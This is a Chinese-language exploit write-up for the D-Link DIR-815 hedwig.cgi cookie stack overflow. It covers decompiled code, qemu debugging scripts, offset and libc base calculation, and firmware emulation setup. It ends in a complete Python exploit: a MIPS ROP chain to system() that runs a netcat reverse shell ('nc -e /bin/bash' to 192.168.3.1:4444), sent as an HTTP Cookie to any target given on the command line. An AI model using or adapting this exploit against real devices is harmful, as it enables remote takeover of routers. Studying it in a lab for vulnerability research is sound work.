漏洞分析D-Link DIR-815
参考链接:
https://www.exploit-db.com/exploits/33863
http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt
环境请使用ubuntu16,换上清华apt源https://mirror.tuna.tsinghua.edu.cn/help/ubuntu/
如果使用github上给的方式下载binwalk,记得得加上参数 -1,否则有的环境没有给你软链接
可以看到在hedwig.cgi中存在cookie头的缓冲区溢出
然后可以看到软链接到了cgibin文件中,漏洞点就在cgibin。
ida7.6打开cgibin进行静态调试寻找字符串cookie
http_cookie所在的函数int __fastcall sess_get_uid(int a1)
快捷键x找到引用该函数的地方
可以看到hedwigcgi_main存在危险函数sprintf
hedwigcgi_main函数通过sess_get_uid()函数获取http_cookie的值
因为可以看到这里没有限制输入大小,所以在sprintf处栈溢出了。
分析代码
测试了idapro7.6和ghidra的mips反汇编,发现还是ida7.6给的看起来舒服一点
1 2 3 4 5 6 7 8 9 10 11 12
| int __fastcall sobj_strcmp(int a1, const char *a2) { const char *v3;
if ( !a1 ) return -1; v3 = *(const char **)(a1 + 20); if ( !v3 ) v3 = ""; return strcmp(v3, a2); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| _DWORD *sobj_new() { _DWORD *result;
result = malloc(0x18u); if ( result ) { result[2] = 0; result[3] = 0; result[4] = 0; result[5] = 0; result[1] = result; *result = result; } return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int __fastcall sobj_free(_DWORD *a1) { int result; void *v3;
result = -1; if ( a1 ) { v3 = (void *)a1[5]; if ( v3 ) free(v3); a1[2] = 0; a1[5] = 0; a1[3] = 0; a1[4] = 0; return 0; } return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int __fastcall sobj_add_char(_DWORD *a1, char a2) { int v4; int v5;
if ( !a1 || a1[3] == a1[4] && sub_40E864() < 0 ) return -1; v4 = a1[4]; *(_BYTE *)(a1[5] + v4) = a2; v5 = a1[5]; a1[4] = v4 + 1; *(_BYTE *)(v5 + v4 + 1) = 0; return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| char *__fastcall sobj_get_string(int a1) { int v1;
v1 = 0; if ( a1 ) { v1 = *(_DWORD *)(a1 + 20); if ( !v1 ) return ""; } return (char *)v1; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| int __fastcall sess_get_uid(int a1) { int cookie_uid; char *save_http_cookie; int cookie_value; char *save_http_cookie2; int state; int current_char; int v8; int result;
cookie_uid = sobj_new(); cookie_value = sobj_new(); save_http_cookie = getenv("HTTP_COOKIE"); if ( !cookie_uid ) goto LABEL_quit_remote; if ( !cookie_value ) goto LABEL_quit_remote; save_http_cookie2 = save_http_cookie; if ( !save_http_cookie ) goto LABEL_quit_remote; state = 0; while ( 1 ) { current_char = *save_http_cookie2; if ( !*save_http_cookie2 ) break; if ( state == 1 ) goto LABEL_test_string; if ( state < 2 ) { if ( current_char == ' ' ) goto LABEL_nextwhile; sobj_free(cookie_uid); sobj_free(cookie_value); LABEL_test_string: if ( current_char == ';' ) { state = 0; } else { state = 2; if ( current_char != '=' ) { sobj_add_char(cookie_uid, current_char); state = 1; } } goto LABEL_nextwhile; } if ( state == 2 ) { if ( current_char == ';' ) { state = 3; goto LABEL_nextwhile; } sobj_add_char(cookie_value, *save_http_cookie2++); } else { state = 0; if ( !sobj_strcmp(cookie_uid, "uid") ) goto LABEL_21; LABEL_nextwhile: ++save_http_cookie2; } } if ( !sobj_strcmp(cookie_uid, "uid") ) { LABEL_21: v8 = ((int (__fastcall *)(int))sobj_get_string)(cookie_value); goto LABEL_quit; } LABEL_quit_remote: v8 = ((int (__fastcall *)(const char *))getenv)("REMOTE_ADDR"); LABEL_quit: result = sobj_add_string(a1, v8); if ( cookie_uid ) result = sobj_del(cookie_uid); if ( cookie_value ) return sobj_del(cookie_value); return result; }
|
函数会返回一个uid=value
的数据,由于没有检测value的值,所以我们可以无限放大value,使其溢出。
动态调试
动态调试的脚本
1 2 3 4 5 6 7
| test=$(python -c "print 'uid='+open('test','r').read(2000)") LEN=$(echo -n "$test" | wc -c) PORT="1234" cp $(which qemu-mipsel-static) ./qemu sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null rm -f ./qemu
|
把填充物放到test文件里
hedwigcgi_main函数的返回地址,判断偏移是1043
但是在实际分析之后,会发现后面还有一个sprintf
实际漏洞应该在此处,此处会覆盖掉上一次的
分析反汇编其需要一个文件,我们把/var/tmp目录给它建出来,因为就算你写了文件,它w也会给你擦掉。
1 2 3 4 5 6 7 8 9 10 11 12
| #!/bin/bash
INPUT="$1" COOKIE="$2" PORT="1234" LEN=$(echo -n "$INPUT" | wc -c) cp $(which qemu-mipsel-static) ./qemu
echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi rm -f ./qemu
|
同样的方法计算第二个偏移是1009
网上都是用vmmap找的基址,但是我一直出问题不显示,所以换个思路
怎么查找程序依赖的库呢
objdump
readelf
因为本人的环境各种崩溃,所以就按照我自己的思路来了(
首先先给两个sprintf设置上断点,然后第一次的时候sprintf会延迟绑定,第二次就能在t9看到地址,然后减掉偏移,就是基址。
查看链接库
1 2 3 4 5 6
| from pwn import * context.arch = "mips" context.endian = "little" libc = ELF("./lib/libuClibc-0.9.30.1.so") sprintf_addr = libc.symbols['sprintf'] success("sprintf address: 0x%x" , sprintf_addr)
|
得到基址
同种方式得到system地址0x53200,为了避开坏字符00,我们把system-1,后面找个gadget+1即可
先找个放system参数的a0
var_160=-0x160
sp+0x10就是system的参数,s0是system地址
hedwigcgi_main结尾可以看到我们可以控制的寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context.arch = "mips" context.endian = "little" libc = ELF("./lib/libuClibc-0.9.30.1.so") base_addr = 0x7f738000 system_addr = 0x53200-1 gadget1 = 0x158C8 gadget2 = 0x159cc padding = 'A' * 0x3cd padding += p32(base_addr + system_addr) padding += 'A' * 4 padding += 'A' * 4 padding += 'A' * 4 padding += 'A' * 4 padding += p32(base_addr + gadget2) padding += 'A' * 4 padding += 'A' * 4 padding += 'A' * 4 padding += p32(base_addr + gadget1) padding += 'B' * 0x10 padding += '/bin/sh' f = open("exploit",'wb+') f.write(padding) f.close()
|
qemu system可以直接用下面的
https://github.com/richardxzh/qemustart
在 squashfs-root
中写配置文件 conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| Umask 026 PIDFile /var/run/httpd.pid LogGMT On ErrorLog /log
Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 }
Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } }
Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth0 Address 192.168.3.2 Port "1234" Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }
|
执行指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| cp conf / cp sbin/httpd / cp -rf htdocs/ / rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/hnap /httpd -f /conf
|
然后通过curl http://192.168.3.2:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b "uid=zh"
可以验证web服务是否正确启动
1 2 3 4 5 6 7 8 9 10 11 12 13
|
echo 0 > /proc/sys/kernel/randomize_va_space
export CONTENT_LENGTH="100" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=1234" export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi"
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
|
因为libc.so.0
指向libuClibc-0.9.30.1.so
所以基址是0x77f34000。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * import requests import sys context.arch = "mips" context.endian = "little" base_addr = 0x77f34000 system_addr = 0x53200-1 gadget1 = 0x158C8 gadget2 = 0x159cc padding = 'A' * 0x3cd padding += p32(base_addr + system_addr) padding += 'A' * 4 padding += 'A' * 4 padding += 'A' * 4 padding += 'A' * 4 padding += p32(base_addr + gadget2) padding += 'A' * 4 padding += 'A' * 4 padding += 'A' * 4 padding += p32(base_addr + gadget1) padding += 'B' * 0x10 padding += "nc -e /bin/bash 192.168.3.1 4444"
cookie="uid="+padding header = { 'Cookie': cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '100' } data = {'x': 'x'} ip_port = sys.argv[1] url = "http://" + ip_port + "/hedwig.cgi" r = requests.post(url=url, headers=header, data=data) print(r.text)
|
拿到shell